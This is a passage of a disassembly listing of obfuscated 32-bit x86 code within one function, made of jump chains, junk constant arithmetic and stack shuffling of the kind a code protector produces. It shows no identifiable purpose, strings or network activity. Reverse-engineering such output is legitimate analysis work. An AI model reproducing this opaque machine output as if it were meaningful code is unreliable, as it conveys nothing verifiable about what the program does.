[esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], ecx jmp loc_599649 ; --------------------------------------------------------------------------- loc_591C77: ; CODE XREF: sub_57DD3A+212F5j sub al, bl sub al, 1Ch jmp loc_59E691 ; --------------------------------------------------------------------------- loc_591C80: ; CODE XREF: sub_57DD3A+17879j pop edi mov edx, esi pop esi jmp loc_5906CF ; --------------------------------------------------------------------------- loc_591C89: ; CODE XREF: sub_57DD3A+1F777j push 41842968h pop edi jmp loc_599050 ; --------------------------------------------------------------------------- loc_591C94: ; CODE XREF: sub_57DD3A+15280j shr ebp, 7 xor ebp, 46F21DD2h sub ebp, 3057A4BEh add eax, ebp pop ebp jmp loc_59A755 ; --------------------------------------------------------------------------- loc_591CAB: ; CODE XREF: sub_57DD3A+1BE73j push dx push ecx mov cl, 0CAh mov dl, 0E3h sub dl, cl pop ecx add al, dl pop dx sub al, 0Eh sub al, bl add al, 0Eh push ecx push edx mov dl, 27h dec dl add dl, 29h mov cl, dl jmp loc_5A0022 ; --------------------------------------------------------------------------- loc_591CCF: ; CODE XREF: sub_57DD3A+2127Dj add esp, 4 jmp loc_5A29C5 ; --------------------------------------------------------------------------- loc_591CD7: ; CODE XREF: sub_57DD3A+2113Cj push edi jmp loc_591718 ; --------------------------------------------------------------------------- loc_591CDD: ; CODE XREF: sub_57DD3A+132ECj pop [esp+2Ah+var_2A] jmp loc_597B24 ; --------------------------------------------------------------------------- loc_591CE5: ; CODE XREF: sub_57DD3A+10CC6j mov al, 0CDh xor dl, al pop ax jmp loc_59C9EE ; --------------------------------------------------------------------------- loc_591CF0: ; CODE XREF: sub_57DD3A+22AD9j pop eax mov cl, dh pop edx jmp loc_59B207 ; --------------------------------------------------------------------------- loc_591CF9: ; CODE XREF: sub_57DD3A+159A3j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_591CFE: ; CODE XREF: sub_57DD3A+18CC6j mov [esp-6+arg_0+2], edi push edx jmp loc_59B664 ; --------------------------------------------------------------------------- loc_591D07: ; CODE XREF: sub_57DD3A+204C5j pop edx or esi, ecx pop ecx xor esi, 471C7D9Dh jmp loc_5A2304 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-0Ah+arg_6] push ebp mov ebp, esp push edx jmp loc_599D8B ; --------------------------------------------------------------------------- loc_591D23: ; CODE XREF: sub_57DD3A+1B88Aj mov ebx, 45B31BB3h sub ebx, 724656E2h xor ecx, ebx mov ebx, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A3178 ; --------------------------------------------------------------------------- loc_591D45: ; CODE XREF: sub_57DD3A+20BDEj mov ecx, 4 sub edx, 18733933h jmp loc_58EB09 ; --------------------------------------------------------------------------- loc_591D55: ; CODE XREF: sub_57DD3A+12C73j add edi, 4 xchg edi, [esp+0Ch+var_E+2] jmp loc_593995 ; --------------------------------------------------------------------------- loc_591D63: ; CODE XREF: sub_57DD3A+1A52Fj push ebp mov ebp, 6C3008D8h xor ebp, 6C3008DCh add ebx, ebp pop ebp push ebx push [esp+10h+var_E+2] mov ebx, [esp+14h+var_16+2] push 6557h mov [esp+18h+var_1A+2], edi push esp jmp loc_5949F4 ; --------------------------------------------------------------------------- loc_591D88: ; CODE XREF: sub_57DD3A+1867Dj sub ebp, 1C2C19E1h add ebp, eax add ebp, 1C2C19E1h pop eax add ebp, 4 jmp loc_599545 ; --------------------------------------------------------------------------- loc_591D9F: ; CODE XREF: sub_57DD3A+1E577j add ah, bh pop ebx xor ah, 6Ah sub esp, 2 mov word ptr [esp+18h+var_1A+2], bx mov bl, ah not bl mov ah, bl pop bx push ebx mov bl, 95h or ah, bl pop ebx jmp loc_59A99C ; --------------------------------------------------------------------------- loc_591DBF: ; CODE XREF: sub_57DD3A+1C7A2j push edi mov edi, 4 add eax, edi push [esp+1Ah+var_1A] pop edi add esp, 4 add eax, 4 xchg eax, [esp+16h+var_16] jmp loc_59AE59 ; --------------------------------------------------------------------------- loc_591DD9: ; CODE XREF: sub_57DD3A+16634j push [esp+16h+var_16] jmp loc_5978EE ; --------------------------------------------------------------------------- loc_591DE1: ; CODE XREF: sub_57DD3A+247AFj mov edx, 266D57D6h xor ecx, edx pop edx mov edi, ecx push [esp+16h+var_16] jmp loc_58E6CB ; --------------------------------------------------------------------------- loc_591DF3: ; CODE XREF: sub_57DD3A+11928j mov edi, ecx pop ecx jmp loc_592F3C ; --------------------------------------------------------------------------- loc_591DFB: ; CODE XREF: sub_57DD3A+19241j mov ecx, esp jmp loc_59A543 ; --------------------------------------------------------------------------- loc_591E02: ; CODE XREF: sub_57DD3A+1E19Bj mov edi, 34107CF5h mov eax, edi pop edi mov ebp, eax jmp loc_59114B ; --------------------------------------------------------------------------- loc_591E11: ; CODE XREF: sub_57DD3A+12A80j mov [esp+20h+var_22+2], ebx mov ebx, 4C10D49h mov ecx, ebx mov ebx, [esp+20h+var_22+2] add esp, 4 push eax mov eax, 7A6222E0h sub [esp+20h+var_1A+2], eax pop eax add [esp+1Ch+var_1A+2], ecx add [esp+1Ch+var_1A+2], 7A6222E0h jmp loc_595EB9 ; --------------------------------------------------------------------------- loc_591E40: ; CODE XREF: sub_57DD3A+122B3j push 34E6h mov [esp+4Ch+var_4C], ebx jmp loc_593B73 ; --------------------------------------------------------------------------- loc_591E4D: ; CODE XREF: sub_57DD3A+1F318j pop ebx add edx, eax pop eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_592099 ; --------------------------------------------------------------------------- loc_591E62: ; CODE XREF: sub_57DD3A+20C5Ej or edx, 7E1E63CEh push ebx push edi push 0EDB5DADh pop edi shr edi, 8 add edi, 279D50C5h jmp loc_59F44C ; --------------------------------------------------------------------------- loc_591E7E: ; CODE XREF: sub_57DD3A+205C5j and edx, 6E629D8h shl edx, 3 xor edx, 25214EC4h jmp loc_5A102F ; --------------------------------------------------------------------------- loc_591E92: ; CODE XREF: sub_57DD3A+1A13Bj pop esp jmp loc_58FA6A ; --------------------------------------------------------------------------- loc_591E98: ; CODE XREF: sub_57DD3A+13869j mov edx, 4 add esi, edx pop edx add esi, 4 xchg esi, [esp+0Ch+var_E+2] pop esp xchg edi, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_59B7C2 ; --------------------------------------------------------------------------- loc_591EB5: ; CODE XREF: sub_57DD3A+131A1j sub dh, 0Bh jmp loc_59EBE4 ; --------------------------------------------------------------------------- loc_591EBD: ; CODE XREF: sub_57DD3A+11858j add edi, ecx pop ecx jmp loc_592D4D ; --------------------------------------------------------------------------- loc_591EC5: ; CODE XREF: sub_57DD3A+21162j xor [esp+6Ch+var_6C], edx xor edx, [esp+6Ch+var_6C] jmp loc_59FCF5 ; --------------------------------------------------------------------------- loc_591ED0: ; CODE XREF: sub_57DD3A+18458j add esp, 4 push eax mov eax, 9F919A6h neg eax jmp loc_595905 ; --------------------------------------------------------------------------- loc_591EE3: ; CODE XREF: sub_57DD3A+16E39j xor ebp, 19764CBEh jmp loc_59E83B ; --------------------------------------------------------------------------- loc_591EEE: ; CODE XREF: sub_57DD3A+12EAAj mov word ptr [esp+58h+var_58], bx push edx push ebx push edx jmp loc_59AC19 ; --------------------------------------------------------------------------- loc_591EFA: ; CODE XREF: sub_57DD3A+1E7DDj mov ebp, 455355B9h dec ebp xor ebp, 3FD02474h sub ebp, 1BFA632Fh or ebp, 5BBA4B71h push esi mov esi, 5FBB4FF9h xor ebp, esi jmp loc_59ED45 ; --------------------------------------------------------------------------- loc_591F1F: ; CODE XREF: sub_57DD3A+1EAE5j add ebx, 4 jmp loc_597971 ; --------------------------------------------------------------------------- loc_591F2A: ; CODE XREF: sub_57DD3A+1463Bj push ebx mov ebx, 772E6933h add eax, ebx jmp loc_597FC6 ; --------------------------------------------------------------------------- loc_591F37: ; CODE XREF: sub_57DD3A+13B4Fj add ebx, 0BA238141h jmp loc_59CB2C ; --------------------------------------------------------------------------- loc_591F42: ; CODE XREF: sub_57DD3A+10C2Aj pop edx jmp loc_599A9F ; --------------------------------------------------------------------------- loc_591F48: ; CODE XREF: sub_57DD3A+1B2F1j mov edx, 0DF8576Fh jmp loc_5985AB ; --------------------------------------------------------------------------- loc_591F52: ; CODE XREF: sub_57DD3A+19266j push ecx xor [esp+2+var_4+2], 29556077h jmp loc_594460 ; --------------------------------------------------------------------------- loc_591F5F: ; CODE XREF: sub_57DD3A+1A97Aj push edi mov edi, esp push ecx mov ecx, 173B0DADh add ecx, 7C0E4759h or ecx, 60D37BA5h jmp loc_59FA27 ; --------------------------------------------------------------------------- loc_591F79: ; CODE XREF: sub_57DD3A+1A705j push 6163h mov [esp+0Eh+var_E], esi jmp loc_5952EB ; --------------------------------------------------------------------------- loc_591F86: ; CODE XREF: sub_57DD3A+21C29j push edi mov edi, 61E73299h push edi xor [esp+16h+var_16], 0EF90373h pop edx jmp loc_59CC4B ; --------------------------------------------------------------------------- loc_591F9A: ; CODE XREF: sub_57DD3A+17FE2j pop eax mov eax, ecx pop ecx mov esi, eax pop eax push edi mov edi, 0FCA9E1A2h add esi, edi pop edi add edx, 1EDF41F3h sub edx, esi sub edx, 1EDF41F3h jmp loc_5A30FE ; --------------------------------------------------------------------------- loc_591FBD: ; CODE XREF: sub_57DD3A+1C17Aj sub eax, ebp sub esp, 4 mov [esp+0], ebx mov ebx, 232679F4h sub eax, ebx mov ebx, [esp+0] add esp, 4 pop ebp add eax, 6A6B62ADh push 0EC2h mov [esp+6+var_8+2], edx push 36EC2C48h pop edx add eax, edx mov edx, [esp+6+var_8+2] add esp, 4 sub esp, 4 mov [esp+6+var_8+2], ebp mov ebp, esp jmp loc_5A1C7F ; --------------------------------------------------------------------------- loc_591FFB: ; CODE XREF: sub_57DD3A+21AE0j xor edx, ebp pop ebp xor edx, 0FEEEF29Fh add ecx, edx pop edx jmp loc_5A19ED ; --------------------------------------------------------------------------- locret_59200C: ; CODE XREF: sub_57DD3A+11047j retn ; --------------------------------------------------------------------------- jmp loc_590D22 ; --------------------------------------------------------------------------- loc_592012: ; CODE XREF: sub_57DD3A+143A9j add bl, dl pop edx sub bl, ah sub bl, 0Ah pop ax movzx eax, al push dword ptr [edi+eax*4] push [esp+20h+var_22+2] jmp loc_590ECA ; --------------------------------------------------------------------------- loc_59202A: ; CODE XREF: sub_57DD3A+163AFj push ebx mov ebx, 6535180Fh push ebx jmp loc_592512 ; --------------------------------------------------------------------------- loc_592036: ; CODE XREF: sub_57DD3A+128DAj add edi, 3B304A7Dh sub edi, 77D314E4h jmp loc_592BE2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp+18h+var_1A+2], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_592056: ; CODE XREF: sub_57DD3A+22D42j mov esi, [esp+1Ch+var_1E+2] add esp, 4 pop [esp+18h+var_1A+2] jmp loc_5A318F ; --------------------------------------------------------------------------- loc_592064: ; CODE XREF: sub_57DD3A+134D1j mov esi, 9D9C595Fh mov edx, esi pop esi sub edx, ebp jmp loc_5930A2 ; --------------------------------------------------------------------------- loc_592073: ; CODE XREF: sub_57DD3A+1866Cj pop ebx add al, bl push ecx mov ch, 5Fh jmp loc_59710A ; --------------------------------------------------------------------------- loc_59207E: ; CODE XREF: sub_57DD3A+23351j mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp+44h+var_46+2] mov esp, [esp+44h+var_46+2] jmp loc_5944B3 ; --------------------------------------------------------------------------- loc_592091: ; CODE XREF: sub_57DD3A+1E7ECj mov ah, 19h push ebx jmp loc_5913D4 ; --------------------------------------------------------------------------- loc_592099: ; CODE XREF: sub_57DD3A+14123j xchg ecx, [esp+0] pop esp mov [esp+44h+var_46+2], ecx mov ecx, 2 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] pop esp mov [esp+44h+var_46+2], ebx mov ebx, 5FEB01EFh add edx, ebx jmp loc_59F9E5 ; --------------------------------------------------------------------------- loc_5920C7: ; CODE XREF: sub_57DD3A+1BFC7j sub bl, al sub bl, 0E2h push small 2Dh mov word ptr [esp+46h+var_46], ax mov ah, 0DAh push edx mov dl, 4Eh dec dl not dl and dl, 0F6h sub dl, 0A8h jmp loc_592012 ; --------------------------------------------------------------------------- loc_5920E8: ; CODE XREF: sub_57DD3A+1CA73j add esp, 4 push eax push 7642h mov [esp+4Eh+var_50+2], ecx mov ecx, 4FC05B8Ah xor ecx, 7A342116h add ecx, 4C97BB8h jmp loc_58EEEB ; --------------------------------------------------------------------------- mov ecx, [esp+4Eh+var_50+2] push ebx jmp loc_5A2ED3 ; --------------------------------------------------------------------------- loc_592113: ; CODE XREF: sub_57DD3A+243B1j mov esi, esp add esi, 4 add esi, 4 push esi jmp loc_5903E0 ; --------------------------------------------------------------------------- loc_592124: ; CODE XREF: sub_57DD3A+10F28j xchg eax, esi jmp loc_59AE3A ; --------------------------------------------------------------------------- loc_59212A: ; CODE XREF: sub_57DD3A+1811Cj add esp, 4 push 37ECh jmp loc_593612 ; --------------------------------------------------------------------------- loc_59213A: ; CODE XREF: sub_57DD3A+1E4ABj sub esi, 4 push esi push [esp+22h+var_1E] pop esi pop [esp+22h+var_22] pop esp jmp loc_5A2A03 ; --------------------------------------------------------------------------- loc_59214C: ; CODE XREF: sub_57DD3A+10DA9j pop ecx push edi neg [esp+18h+var_1A+2] jmp loc_5A10BD ; --------------------------------------------------------------------------- loc_592156: ; CODE XREF: sub_57DD3A+15058j add esi, 15807A4Fh shl esi, 4 push eax jmp loc_597F40 ; --------------------------------------------------------------------------- loc_592165: ; CODE XREF: sub_57DD3A+10C56j add eax, ecx pop ecx sub eax, ebp jmp loc_59B0BF ; --------------------------------------------------------------------------- loc_59216F: ; CODE XREF: sub_57DD3A+14AD7j sub ebx, 634E3FDFh sub ebx, edx jmp loc_59B7DE ; --------------------------------------------------------------------------- loc_59217C: ; CODE XREF: sub_57DD3A+20485j mov si, 2F7Ch sub si, 3536h jmp loc_5950AE ; --------------------------------------------------------------------------- loc_59218A: ; CODE XREF: sub_57DD3A+1DFC7j add ecx, 4 add ecx, 4 push ecx jmp loc_591021 ; --------------------------------------------------------------------------- loc_59219C: ; CODE XREF: sub_57DD3A+1A598j pop esi push ebx jmp loc_59D2CD ; --------------------------------------------------------------------------- loc_5921A3: ; CODE XREF: sub_57DD3A+25095j push ebp push 6ADD1732h pop ebp push ebp jmp loc_59A301 ; --------------------------------------------------------------------------- loc_5921B0: ; CODE XREF: sub_57DD3A+21F95j mov dx, 734Eh add word ptr [esp+0Eh+var_E+2], dx pop dx pop di sub di, 734Eh pop eax shr di, 4 xor di, 579Ah not di sub di, 0FFFFh push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx sub edi, 4 xchg edi, [esp+0] jmp loc_59E1BB ; --------------------------------------------------------------------------- loc_5921EA: ; CODE XREF: sub_57DD3A+11AC2j not ebp shl ebp, 7 jmp loc_596549 ; --------------------------------------------------------------------------- loc_5921F4: ; CODE XREF: sub_57DD3A+1676Cj pop ebx add esi, 0FFFFFFFFh not esi and esi, 451E35D2h sub esi, 0B49CCE22h sub eax, 16826624h add eax, esi jmp loc_592EB9 ; --------------------------------------------------------------------------- loc_592215: ; CODE XREF: sub_57DD3A+1B0B2j sub esp, 4 mov [esp+4Ah+var_4C+2], esi jmp loc_5A0A31 ; --------------------------------------------------------------------------- loc_592223: ; CODE XREF: sub_57DD3A+149E8j xor [esp+4Ah+var_4C+2], eax xor eax, [esp+4Ah+var_4C+2] pop esp idiv cl movzx cx, ah push ebx push esp pop ebx push ecx mov ecx, 23DA4732h inc ecx jmp loc_59BAD1 ; --------------------------------------------------------------------------- loc_59223F: ; CODE XREF: sub_57DD3A+18096j add esi, 4 sub esi, 4 xchg esi, [esp+4Eh+var_50+2] pop esp mov [esp+4Ah+var_4C+2], esp push 6014h mov [esp+4Eh+var_50+2], ebx mov ebx, 4 add [esp+4Eh+var_4C+2], ebx mov ebx, [esp+4Eh+var_50+2] add esp, 4 push [esp+4Ah+var_4C+2] push [esp+4Eh+var_50+2] mov ebx, [esp+52h+var_54+2] add esp, 4 add esp, 4 push 5227h mov [esp+4Eh+var_50+2], edx mov edx, esp push edi mov edi, 0FAE0D47h not edi shr edi, 3 or edi, 61502EFDh add edi, 58C5127Dh xor edi, 0D81F5178h add edx, edi pop edi add edx, 4 xor edx, [esp+4Eh+var_50+2] xor [esp+4Eh+var_50+2], edx xor edx, [esp+4Eh+var_50+2] pop esp add ebx, 4 push edx mov edx, 2 add ebx, edx push [esp+4Eh+var_50+2] pop edx add esp, 4 xchg ebx, [esp+4Ah+var_4C+2] mov esp, [esp+4Ah+var_4C+2] mov ax, word ptr [esp+4Ah+var_4C+2] push eax push esp pop eax push 45A4h mov [esp+52h+var_54+2], edx mov edx, 717F07B8h add edx, 0FFFFFFFFh not edx add edx, 1 push 2C96h mov [esp+56h+var_58+2], ebp mov ebp, 4E8364CFh and edx, ebp jmp loc_5A140D ; --------------------------------------------------------------------------- loc_592306: ; CODE XREF: sub_57DD3A+1EB14j and edx, 3F625E7Dh dec edx xor edx, 0F369E093h xor esi, edx pop edx xor ebx, esi pop esi add ecx, ebx push [esp+4Eh+var_50+2] mov ebx, [esp+52h+var_54+2] add esp, 4 add esp, 4 push 3F0Ch jmp loc_596266 ; --------------------------------------------------------------------------- loc_592331: ; CODE XREF: sub_57DD3A+201ACj push esi jmp loc_59C8F2 ; --------------------------------------------------------------------------- loc_592337: ; CODE XREF: sub_57DD3A+14C56j add edi, esi jmp loc_58FFD2 ; --------------------------------------------------------------------------- loc_59233E: ; CODE XREF: sub_57DD3A+22BDDj push ebx push edx pop ebx jmp loc_5A00E5 ; --------------------------------------------------------------------------- loc_592346: ; CODE XREF: sub_57DD3A+14CAAj sub edi, ecx push [esp+56h+var_58+2] pop ecx add esp, 4 xor edi, [esp+52h+var_54+2] xor [esp+52h+var_54+2], edi jmp loc_590784 ; --------------------------------------------------------------------------- loc_59235D: ; CODE XREF: sub_57DD3A+1CA25j add eax, edi sub eax, 53677D88h sub eax, 22253469h push ebp mov ebp, 7FF237A6h add ebp, 96ADE7AFh jmp loc_591F2A ; --------------------------------------------------------------------------- loc_59237A: ; CODE XREF: sub_57DD3A+11BC9j mov ebp, 1 jmp loc_59C06C ; --------------------------------------------------------------------------- loc_592384: ; CODE XREF: sub_57DD3A+108AEj push 789435D2h pop edi push ebp push 43DD0912h mov ebp, [esp+1Ch+var_1E+2] add esp, 4 mov esi, 908A1C45h xor esi, ebp pop ebp add esi, 263D2400h sub esi, edi push ebx mov ebx, 263D2400h jmp loc_59C793 ; --------------------------------------------------------------------------- loc_5923B1: ; CODE XREF: sub_57DD3A+17A07j push [esp+18h+var_1A+2] pop ecx push 3EFFh mov [esp+1Ch+var_1E+2], ecx mov ecx, esp push eax mov eax, 1AB65E8Bh xor eax, 67026E6Ch jmp loc_591565 ; --------------------------------------------------------------------------- loc_5923CF: ; CODE XREF: sub_57DD3A+1F62Dj push esp push [esp+24h+var_26+2] jmp loc_59AA77 ; --------------------------------------------------------------------------- loc_5923D8: ; CODE XREF: sub_57DD3A+1A154j mov [esp+28h+var_2A+2], eax push ebx push ecx jmp loc_59D7ED ; --------------------------------------------------------------------------- loc_5923E2: ; CODE XREF: sub_57DD3A+1B811j add al, bl add al, 0D5h push ecx mov cl, 78h neg cl sub cl, 27h sub al, cl mov ecx, [esp+34h+var_36+2] add esp, 4 push ecx mov ch, 26h push 24C7h mov [esp+38h+var_3A+2], ebx mov bh, 0D1h sub al, 27h jmp loc_58E84F ; --------------------------------------------------------------------------- loc_59240D: ; CODE XREF: sub_57DD3A+1FAA0j shl edx, 5 add edx, 0A48CD9FEh mov ebp, edx pop edx jmp loc_59335C ; --------------------------------------------------------------------------- loc_59241E: ; CODE XREF: sub_57DD3A+1D5B9j sub ebp, 280F1DB3h pop edx sub ebx, 3BE830E0h add ebx, ebp add ebx, 3BE830E0h pop ebp push edx push 487Fh mov [esp+34h+var_36+2], ecx push edx push 357A1A47h pop edx jmp loc_597E7A ; --------------------------------------------------------------------------- loc_592449: ; DATA XREF: sub_57DD3A+1036Eo mov eax, [esp+38h+var_3A+2] push eax mov eax, esp sub esp, 4 mov [esp+40h+var_42+2], esi mov esi, 6D164541h add esi, 106C307Ah jmp loc_599A60 ; --------------------------------------------------------------------------- loc_592465: ; CODE XREF: sub_57DD3A+1D430j sub edi, 2A7A7971h sub edi, ebp add edi, 2A7A7971h push [esp+40h+var_42+2] pop ebp jmp loc_58E364 ; --------------------------------------------------------------------------- loc_59247C: ; CODE XREF: sub_57DD3A+1C745j pop ecx add ebx, 4 xchg ebx, [esp+3Ch+var_3E+2] mov esp, [esp+3Ch+var_3E+2] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59248B: ; CODE XREF: sub_57DD3A+10BE0j or dl, 0EFh jmp loc_59AC4D ; --------------------------------------------------------------------------- loc_592493: ; CODE XREF: sub_57DD3A+149F0j push 32C50872h pop eax and eax, 5F171141h add eax, 0FFFFFFFFh jmp loc_5A1041 ; --------------------------------------------------------------------------- loc_5924A6: ; CODE XREF: sub_57DD3A+130ACj shr edx, 5 add edx, 2BF818C8h sub esi, edx jmp loc_58F9F5 ; --------------------------------------------------------------------------- loc_5924B6: ; CODE XREF: sub_57DD3A+17171j xor ebp, [esp+5Ch+var_5C] xor [esp+5Ch+var_5C], ebp jmp loc_59FB35 ; --------------------------------------------------------------------------- loc_5924C1: ; CODE XREF: sub_57DD3A+21410j sub cl, 9Ch sub cl, 0F2h jmp loc_59AC33 ; --------------------------------------------------------------------------- loc_5924CC: ; CODE XREF: sub_57DD3A+22553j mov [esp+5Ch+var_5C], ebp mov ebp, 223744EFh jmp loc_599933 ; --------------------------------------------------------------------------- loc_5924D9: ; CODE XREF: sub_57DD3A+229D8j add [esp+5Ch+var_5C], 70AC455Ah pop esi sub esi, 70AC455Ah jmp loc_5A1599 ; --------------------------------------------------------------------------- loc_5924EC: ; CODE XREF: sub_57DD3A+16928j mov [esp+58h+var_58], edi push [esp+58h+var_54] pop edi pop [esp+58h+var_58] mov esp, [esp+54h+var_54] push [esp+54h+var_54] jmp loc_593575 ; --------------------------------------------------------------------------- loc_592502: ; CODE XREF: sub_57DD3A+243A5j mov [esp+58h+var_58], ecx mov ecx, 694A4CF8h add eax, ecx pop ecx jmp loc_59B2F8 ; --------------------------------------------------------------------------- loc_592512: ; CODE XREF: sub_57DD3A+142F7j add [esp+2Ch+var_2E+2], 4E7A0FE1h pop ebp sub ebp, 4E7A0FE1h pop ebx sub ebp, 211C458Fh add ebp, 401E18C2h and ebp, 494D3DF0h jmp loc_59731D ; --------------------------------------------------------------------------- loc_592538: ; CODE XREF: sub_57DD3A+1AD55j add ebx, 0FA0E8B46h jmp loc_599E41 ; --------------------------------------------------------------------------- loc_592543: ; CODE XREF: sub_57DD3A+17167j push ebx mov ebx, 3D832687h add eax, ebx pop ebx xor dword ptr [eax], 79A454BFh pop eax pop edx sub [edi+20h], ebx push [esp+1Ch+var_1E+2] pop ebx add esp, 4 sub esp, 4 jmp loc_5A099A ; --------------------------------------------------------------------------- loc_592569: ; CODE XREF: sub_57DD3A+22058j push [esp+1Ch+var_1E+2] jmp loc_5959FF ; --------------------------------------------------------------------------- loc_592571: ; CODE XREF: sub_57DD3A+1B437j pop ebp push 7E55h mov [esp+20h+var_22+2], edx mov edx, 422C0E5Fh jmp loc_59E32A ; --------------------------------------------------------------------------- loc_592584: ; CODE XREF: sub_57DD3A+13815j push [esp+10h+var_12+2] pop ebx push eax mov eax, esp sub esp, 4 mov [esp+18h+var_1A+2], edx mov edx, 4 jmp loc_5A04A2 ; --------------------------------------------------------------------------- loc_59259E: ; CODE XREF: sub_57DD3A+18127j push esi push ebp mov ebp, 2E056CFAh push eax mov eax, ebp jmp loc_595B0F ; --------------------------------------------------------------------------- loc_5925AD: ; CODE XREF: sub_57DD3A+21AAFj add esi, 4 push ecx mov ecx, 4 sub esi, ecx pop ecx xchg esi, [esp+24h+var_26+2] pop esp mov [esp+20h+var_22+2], esi push 4 mov esi, [esp+24h+var_26+2] add esp, 4 add ebp, 351379DDh add ebp, esi sub ebp, 351379DDh pop esi push ebx push 5B59h mov [esp+24h+var_26+2], ebp push 1E7F3566h mov ebp, [esp+28h+var_2A+2] add esp, 4 shr ebp, 5 xor ebp, 0F3F9A9h jmp loc_59F9AB ; --------------------------------------------------------------------------- loc_592605: ; CODE XREF: sub_57DD3A+170AFj mov eax, 4 jmp loc_59DCDC ; --------------------------------------------------------------------------- loc_59260F: ; CODE XREF: sub_57DD3A+1F31Fj pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+20h+var_22+2] jmp loc_598830 ; --------------------------------------------------------------------------- loc_592624: ; CODE XREF: sub_57DD3A+210A6j sub esi, edi sub esi, 1D3D3F2Bh jmp loc_591225 ; --------------------------------------------------------------------------- loc_592631: ; CODE XREF: sub_57DD3A+2047Cj pop esi pop [esp+1Ch+var_1E+2] jmp loc_5977B5 ; --------------------------------------------------------------------------- loc_59263A: ; CODE XREF: sub_57DD3A+1C8DDj mov ebp, [esp+18h+var_1A+2] add esp, 4 loc_592643: ; CODE XREF: sub_57DD3A+15946j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_594987 ; --------------------------------------------------------------------------- loc_592657: ; CODE XREF: sub_57DD3A+15E34j mov ebp, 2F0C7D29h dec ebp xor ebp, 63924B16h push ecx mov ecx, 6F28688Ch or ecx, 354D6CC8h jmp loc_598E9F ; --------------------------------------------------------------------------- loc_592674: ; CODE XREF: sub_57DD3A+15E88j add edx, 4 xchg edx, [esp+1Ch+var_1E+2] pop esp sub edx, 14084A55h sub edx, 12D253E6h add edx, ecx jmp loc_5A30EA ; --------------------------------------------------------------------------- loc_59268E: ; CODE XREF: sub_57DD3A+24904j add eax, ecx jmp loc_59A3C9 ; --------------------------------------------------------------------------- loc_592695: ; CODE XREF: sub_57DD3A+107DDj push ebx jmp loc_59642A ; --------------------------------------------------------------------------- loc_59269B: ; CODE XREF: sub_57DD3A+13158j sub ebx, 6BB61099h push 330h mov [esp+64h+var_64], ecx mov ecx, 5F734CA3h add ebx, 45334454h jmp loc_5A2FD1 ; --------------------------------------------------------------------------- loc_5926B9: ; CODE XREF: sub_57DD3A+22FB3j mov esp, [esp+64h+var_64] movzx cx, al push 7C4Dh mov [esp+68h+var_68], edx push esp jmp loc_58F94F ; --------------------------------------------------------------------------- loc_5926CE: ; CODE XREF: sub_57DD3A+1BCBEj mov edx, 543A4667h add edx, 71104D2Ah sub edx, 77D14FD9h jmp loc_598384 ; --------------------------------------------------------------------------- loc_5926E4: ; CODE XREF: sub_57DD3A+11327j pop edx push 1CD4h mov [esp+3Ch+var_3E+2], edi mov edi, 4 add eax, edi push [esp+3Ch+var_3E+2] jmp loc_591A41 ; --------------------------------------------------------------------------- loc_5926FC: ; CODE XREF: sub_57DD3A+1CEECj push ebx push ecx push 79437C1h pop ecx jmp loc_59B1C8 ; --------------------------------------------------------------------------- loc_592709: ; CODE XREF: sub_57DD3A+1DF8Cj sub ebp, 46B97579h jmp loc_59CA9C ; --------------------------------------------------------------------------- loc_592714: ; CODE XREF: sub_57DD3A+1B897j push 4A4F18B4h jmp loc_593101 ; --------------------------------------------------------------------------- loc_59271E: ; CODE XREF: sub_57DD3A+19D4Bj pop esp xor eax, [esp+0] jmp loc_592223 ; --------------------------------------------------------------------------- loc_592727: ; CODE XREF: sub_57DD3A+1F062j mov [esp+0], eax jmp loc_592493 ; --------------------------------------------------------------------------- loc_59272F: ; CODE XREF: sub_57DD3A+21748j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push edi mov edi, 2 add ebp, edi pop edi push ebp push dword ptr [esp+4] pop ebp jmp loc_5A24E0 ; --------------------------------------------------------------------------- loc_592755: ; CODE XREF: sub_57DD3A+235D8j xchg ecx, [esp+4Ch+var_4C] jmp loc_59BB4C ; --------------------------------------------------------------------------- loc_59275D: ; CODE XREF: sub_57DD3A+11948j or edx, esi mov esi, [esp+78h+var_78] add esp, 4 add edx, 22C8022Bh add ebx, edx pop edx jmp loc_5966BC ; --------------------------------------------------------------------------- loc_592773: ; CODE XREF: sub_57DD3A+179AAj push ecx jmp loc_58F72D ; --------------------------------------------------------------------------- loc_592779: ; CODE XREF: sub_57DD3A+22E8Aj mov esi, 6A3C600Bh jmp loc_59EBD0 ; --------------------------------------------------------------------------- loc_592783: ; CODE XREF: sub_57DD3A+246B4j mov esp, [esp+74h+var_74] jmp loc_59F165 ; --------------------------------------------------------------------------- loc_59278B: ; CODE XREF: sub_57DD3A+1774Ej mov esi, [esp+74h+var_74] add esp, 4 jmp loc_59FD6A ; --------------------------------------------------------------------------- loc_592799: ; CODE XREF: sub_57DD3A+18062j mov eax, [esp+70h+var_70] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_59FD9D ; --------------------------------------------------------------------------- loc_5927AE: ; CODE XREF: sub_57DD3A+15E17j mov [esp+78h+var_78], esi mov esi, 4 jmp loc_5963D6 ; --------------------------------------------------------------------------- loc_5927BB: ; CODE XREF: sub_57DD3A+17C98j xchg ebp, [esp+78h+var_78] pop esp mov bh, byte ptr [esp+74h+var_74+2] mov byte ptr [esp+74h+var_74+2], dh mov dx, word ptr [esp+74h+var_74] add esp, 2 sub esp, 4 jmp loc_59C9B9 ; --------------------------------------------------------------------------- loc_5927D6: ; CODE XREF: sub_57DD3A+12BBFj push edi jmp loc_58FA1D ; --------------------------------------------------------------------------- loc_5927DC: ; CODE XREF: sub_57DD3A+23D44j add eax, 29BF7836h sub eax, ebp sub eax, 29BF7836h pop ebp jmp loc_58F6F6 ; --------------------------------------------------------------------------- 